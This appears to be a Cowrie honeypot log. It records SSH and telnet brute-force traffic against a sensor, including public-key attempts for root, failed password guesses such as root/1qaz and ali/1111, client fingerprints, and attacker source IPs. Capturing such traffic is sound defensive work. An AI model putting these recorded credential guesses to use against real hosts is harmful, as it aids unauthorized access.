{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1f:c6:a3:33:a3:15:56:32:eb:8a:4d:d2:4b:0a:b1:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW2a2hSrrWPBrLWKgkkcU7WCsPZHZ+9IWPI+Ra+es+Tkt9HB2FX2SgJxxKcF/IsiNFjehaeKAyjKP3o6c08IQfy2Dbw8bMDaGyNRe0Ot+OcW3Qcgaf3Kn7iWfJzbPbLSWBmMu5I2QrDNf3LVdMl0WaDrJb/dVcPzomWktL2umwndnLpDRrDsgysaBF+4IA+QPsOEa4410ntNxYCTMdiFPO5qYIkrPg5JDfoGKjqRcoKFAeLFfuBtW2A2K4CP4Rg5aiDc4uwK+7o+p4HMFOl8tVxVdkk0J7KK7ZyPamj3QcBTHK+U+C8yDwKayhpHroKj4d/gexdOLsOMouAGnQr59","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1f:c6:a3:33:a3:15:56:32:eb:8a:4d:d2:4b:0a:b1:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.780778Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1f:c6:a3:33:a3:15:56:32:eb:8a:4d:d2:4b:0a:b1:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpW2a2hSrrWPBrLWKgkkcU7WCsPZHZ+9IWPI+Ra+es+Tkt9HB2FX2SgJxxKcF/IsiNFjehaeKAyjKP3o6c08IQfy2Dbw8bMDaGyNRe0Ot+OcW3Qcgaf3Kn7iWfJzbPbLSWBmMu5I2QrDNf3LVdMl0WaDrJb/dVcPzomWktL2umwndnLpDRrDsgysaBF+4IA+QPsOEa4410ntNxYCTMdiFPO5qYIkrPg5JDfoGKjqRcoKFAeLFfuBtW2A2K4CP4Rg5aiDc4uwK+7o+p4HMFOl8tVxVdkk0J7KK7ZyPamj3QcBTHK+U+C8yDwKayhpHroKj4d/gexdOLsOMouAGnQr59","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.784269Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:d8:d4:41:29:fb:2d:f5:e2:5b:61:f2:53:6b:66:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lgttaGCqfAgO1SlZGBHx/Erodd+SD4GFfTsCaPB/eZnl1SrWwzkKPEWSi4UUpSuIk3TMnREoFdhQIetyJWIGDe7Xs2Nl0amTzWkWeI9vWXRVm2hVh7ZhojkuxiDb2/Kj3MqoHment54CW8zmKcH7SLph/YRu4AEwz748sxbAbLRJZN9K+/6fj8ldgKBxb/r+wj1lW8znlTmJZTCLKqM59Xd0dkI/OsMWrqseYVxO2LErIRiXPS/tL6ADfnqevInDD8o/oxQJzMdptkdhfngRK0O9Pcd/0aV4w9mYpWBL4AJtdIi2Cq075IMAVrg9/t0317Oj36N/5gAM2iKz4If1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:d8:d4:41:29:fb:2d:f5:e2:5b:61:f2:53:6b:66:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.792428Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:d8:d4:41:29:fb:2d:f5:e2:5b:61:f2:53:6b:66:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+lgttaGCqfAgO1SlZGBHx/Erodd+SD4GFfTsCaPB/eZnl1SrWwzkKPEWSi4UUpSuIk3TMnREoFdhQIetyJWIGDe7Xs2Nl0amTzWkWeI9vWXRVm2hVh7ZhojkuxiDb2/Kj3MqoHment54CW8zmKcH7SLph/YRu4AEwz748sxbAbLRJZN9K+/6fj8ldgKBxb/r+wj1lW8znlTmJZTCLKqM59Xd0dkI/OsMWrqseYVxO2LErIRiXPS/tL6ADfnqevInDD8o/oxQJzMdptkdhfngRK0O9Pcd/0aV4w9mYpWBL4AJtdIi2Cq075IMAVrg9/t0317Oj36N/5gAM2iKz4If1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.796409Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:ef:09:8b:76:db:39:2c:40:0a:ba:0c:c2:48:52:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzP89ljyd+hWORQTG+QOhk9EI+CppiCOwzS2MsCEB0V92OXszmCsUKePtxTELDOquaY6fkMcvKWH320EfejltTt64Hyd4MsKKUzcGur4UmokqtmawZ4FxmFZ+w7g/zgkVCS+n326017BmkuRS8JY0g+oHaUsCXGSba/zEsS3hIiucPkqn6y33OYowCZSIZeop6wnSXtNy59JemSQQL/wcNX7lGyp9GV71JHWQpqbsm+8ePmyMT/dM8o3hM391+g9N8/ywV5AZc4ACIMPkVi8tCKr/KUkgEy6zK7VcdijfV8RctHtU/+UV6wM9Lt2bSZhTvw5/xz/tK/betZBnJwZhHw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:ef:09:8b:76:db:39:2c:40:0a:ba:0c:c2:48:52:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.805258Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:ef:09:8b:76:db:39:2c:40:0a:ba:0c:c2:48:52:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzP89ljyd+hWORQTG+QOhk9EI+CppiCOwzS2MsCEB0V92OXszmCsUKePtxTELDOquaY6fkMcvKWH320EfejltTt64Hyd4MsKKUzcGur4UmokqtmawZ4FxmFZ+w7g/zgkVCS+n326017BmkuRS8JY0g+oHaUsCXGSba/zEsS3hIiucPkqn6y33OYowCZSIZeop6wnSXtNy59JemSQQL/wcNX7lGyp9GV71JHWQpqbsm+8ePmyMT/dM8o3hM391+g9N8/ywV5AZc4ACIMPkVi8tCKr/KUkgEy6zK7VcdijfV8RctHtU/+UV6wM9Lt2bSZhTvw5/xz/tK/betZBnJwZhHw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.809181Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"15:c9:4a:0b:5a:7f:24:1a:b6:1a:b8:52:14:ac:e9:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAgz2C7U5N6R2BTpWUXxMF3yYNmt8exyxGWDiXd9QoxTMpBcg8mz5w0WKfMn4fkxnopjHq03fe++SQ6IXisEP8jxAqYwurAJSMNzpmXIhM2BQFgg5poyHc+9/Knoesa2SDZ2EnAcs7uTVdV4pUZbWSZEK0TuRQhqFTggyw2XRCuoczgYwhsuHk9XzNU7VUBlwHMI1qR4sX+5vmSlJSSyBsogXZ5ly8wfvc6/hKo1gZrmu7CuIUT9o0vW2QnkU2Oob4O/9idS/tuJCBwab+G+vERqRzfStXJfpmdKMUcAD1g0OjDra4OFnne1urQIWwhNAEWv/+kn3TqUE12GplX+pP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 15:c9:4a:0b:5a:7f:24:1a:b6:1a:b8:52:14:ac:e9:9c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.816741Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"15:c9:4a:0b:5a:7f:24:1a:b6:1a:b8:52:14:ac:e9:9c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAgz2C7U5N6R2BTpWUXxMF3yYNmt8exyxGWDiXd9QoxTMpBcg8mz5w0WKfMn4fkxnopjHq03fe++SQ6IXisEP8jxAqYwurAJSMNzpmXIhM2BQFgg5poyHc+9/Knoesa2SDZ2EnAcs7uTVdV4pUZbWSZEK0TuRQhqFTggyw2XRCuoczgYwhsuHk9XzNU7VUBlwHMI1qR4sX+5vmSlJSSyBsogXZ5ly8wfvc6/hKo1gZrmu7CuIUT9o0vW2QnkU2Oob4O/9idS/tuJCBwab+G+vERqRzfStXJfpmdKMUcAD1g0OjDra4OFnne1urQIWwhNAEWv/+kn3TqUE12GplX+pP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.820469Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:49.828792Z","src_ip":"104.194.10.248","session":"2f92a67b6441","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.129.144","src_port":49948,"dst_ip":"159.203.135.109","dst_port":22,"session":"457c3874c156","protocol":"ssh","message":"New connection: 43.135.129.144:49948 (159.203.135.109:22) [session: 457c3874c156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:50.585577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:50.590448Z","src_ip":"43.135.129.144","session":"457c3874c156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:50.658722Z","src_ip":"43.135.129.144","session":"457c3874c156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43572,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b6113b1615e","protocol":"telnet","message":"New connection: 192.119.13.58:43572 (10.17.0.5:23) [session: 9b6113b1615e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:50.805151Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz","message":"login attempt [root/1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:50.964292Z","src_ip":"43.135.129.144","session":"457c3874c156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:52.036677Z","src_ip":"43.135.129.144","session":"457c3874c156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.471272230148315,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:56.424573Z","src_ip":"192.119.13.58","session":"d3320e9d7591","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.166.103.173","src_port":47606,"dst_ip":"159.203.135.109","dst_port":22,"session":"582a00e5066e","protocol":"ssh","message":"New connection: 103.166.103.173:47606 (159.203.135.109:22) [session: 582a00e5066e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:58.241675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:58.246839Z","src_ip":"103.166.103.173","session":"582a00e5066e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.531699419021606,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:58.319020Z","src_ip":"192.119.13.58","session":"6613e6339ad4","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:58.489024Z","src_ip":"103.166.103.173","session":"582a00e5066e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf0987","message":"login attempt [root/asdf0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:22:59.476484Z","src_ip":"103.166.103.173","session":"582a00e5066e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59222,"dst_ip":"10.17.0.5","dst_port":23,"session":"99e53ef7663d","protocol":"telnet","message":"New connection: 192.119.13.58:59222 (10.17.0.5:23) [session: 99e53ef7663d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:00.690024Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:00.717740Z","src_ip":"103.166.103.173","session":"582a00e5066e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.113001585006714,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:01.736720Z","src_ip":"192.119.13.58","session":"4f11e9490901","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.104.156","src_port":53138,"dst_ip":"10.17.0.5","dst_port":22,"session":"c15107beaf57","protocol":"ssh","message":"New connection: 43.153.104.156:53138 (10.17.0.5:22) [session: c15107beaf57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:01.867453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:01.877269Z","src_ip":"43.153.104.156","session":"c15107beaf57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:01.947110Z","src_ip":"43.153.104.156","session":"c15107beaf57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"1111","message":"login attempt [ali/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:02.251131Z","src_ip":"43.153.104.156","session":"c15107beaf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:03.323075Z","src_ip":"43.153.104.156","session":"c15107beaf57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.66071677207947,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:04.631259Z","src_ip":"192.119.13.58","session":"57125f042dd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.88582444190979,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:05.663248Z","src_ip":"192.119.13.58","session":"4987e45df15e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46150,"dst_ip":"10.17.0.5","dst_port":23,"session":"007ade5a42e1","protocol":"telnet","message":"New connection: 192.119.13.58:46150 (10.17.0.5:23) [session: 007ade5a42e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:06.099831Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.182.46","src_port":50970,"dst_ip":"159.203.135.109","dst_port":22,"session":"f5fc541a2375","protocol":"ssh","message":"New connection: 43.135.182.46:50970 (159.203.135.109:22) [session: f5fc541a2375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:06.852973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:06.858095Z","src_ip":"43.135.182.46","session":"f5fc541a2375","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:06.927649Z","src_ip":"43.135.182.46","session":"f5fc541a2375","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wundershorizon","message":"login attempt [root/wundershorizon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:07.235341Z","src_ip":"43.135.182.46","session":"f5fc541a2375","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:08.308615Z","src_ip":"43.135.182.46","session":"f5fc541a2375","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49638,"dst_ip":"10.17.0.5","dst_port":23,"session":"498e780602bf","protocol":"telnet","message":"New connection: 192.119.13.58:49638 (10.17.0.5:23) [session: 498e780602bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:13.171100Z"}
{"eventid":"cowrie.session.closed","duration":52.48751163482666,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:17.490689Z","src_ip":"192.119.13.58","session":"f4264cafc215","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47652,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba176300ba0e","protocol":"telnet","message":"New connection: 192.119.13.58:47652 (10.17.0.5:23) [session: ba176300ba0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:18.457573Z"}
{"eventid":"cowrie.session.closed","duration":30.915830612182617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:18.530022Z","src_ip":"192.119.13.58","session":"9b8121f57744","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394208192825317,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:21.199152Z","src_ip":"192.119.13.58","session":"9b6113b1615e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.44043278694153,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:24.767296Z","src_ip":"192.119.13.58","session":"0b1b7bfdc2e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54560,"dst_ip":"10.17.0.5","dst_port":23,"session":"731a8fbbe126","protocol":"telnet","message":"New connection: 192.119.13.58:54560 (10.17.0.5:23) [session: 731a8fbbe126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:33.842987Z"}
{"eventid":"cowrie.session.closed","duration":40.48436117172241,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:41.174374Z","src_ip":"192.119.13.58","session":"99e53ef7663d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.731175661087036,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:41.830903Z","src_ip":"192.119.13.58","session":"007ade5a42e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.25597047805786,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:23:46.426951Z","src_ip":"192.119.13.58","session":"498e780602bf","protocol":"telnet"}
